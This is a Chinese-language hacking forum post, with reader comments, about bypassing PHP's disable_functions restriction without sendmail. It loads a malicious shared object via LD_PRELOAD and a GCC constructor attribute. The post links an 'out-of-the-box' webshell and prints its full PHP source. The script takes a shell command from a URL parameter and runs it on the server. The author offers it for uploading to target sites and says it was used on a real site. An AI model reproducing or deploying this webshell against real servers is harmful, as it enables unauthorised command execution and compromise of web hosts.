无 sendmail 环境下突破 disable_functions 执行命令
遇到用 disable_functions 指示器禁用了所有命令执行函数的站点,借助环境变量 LD_PRELOAD 劫持 /usr/sbin/sendmail 中的系统函数 getuid(),从而不借助 PHP 的各类命令执行函数(如 exec()、system()、dl() 等等)执行系统命令,屡试不爽。
最近实战中遇到一个站,同样无法执行命令:
disable_functions 禁用命令执行函数:
同时,还禁用了 sendmail,导致之前的惯用法失效:
琢磨了几天,找到一种不依赖 sendmail 的手法:GCC 支持 C 语言规范扩展 __attribute__((constructor)),让我可以劫持共享对象(或者说,拦劫加载共享对象这一动作),不用劫持某一具体函数,实现执行系统命令。
开箱即用的 webshell 位于 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,包括两个关键文件,bypass_disablefunc.php 和 bypass_disablefunc_x64.so。想法把他两上传至目标,访问
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
TCV: 1
评论26次
NB NB!!吐司高质量的贴子终于又有了。
NB NB!!吐司高质量的贴子终于又有了。
我是从这篇过来的2333https://www.freebuf.com/articles/web/192052.html.首先很佩服楼主,研究的相当深入,文章思路很清晰,让我这种渣渣也能记下超多笔记,最后突破的方式一下子还没看太明白,还得自己实验一下,感谢楼主,感觉需要对底层相当熟悉才能举一反三bypass,如果只抄姿势,下次就估计要凉。
不明觉厉,那么问题来了:chroot,scandir,chgrp,chown,ini_restore,pfsockopen,openlog,readlink,symlink,popepassthru,fsocket,fsockopen,system,exec,shell_exec,passthru,proc_open,proc_close,proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport,syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept,socket_connect,stream_socket_server,stream_socket_accept,sys_getloadavg,disk_total_space,disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_strerror,pcntl_exec,posix_times,posix_ttyname,posix_uname,sleep,escapeshellcmd,escapeshellarg可以绕?
不知道呢,试试看: 好像可以呢:
这个方法还不错 ,比较新
不明觉厉,那么问题来了:
楼主的意思是有些php站点默认开启了安全模式无法正常执行cmd 然后下git上面的两个文件传上去就可以执行了吗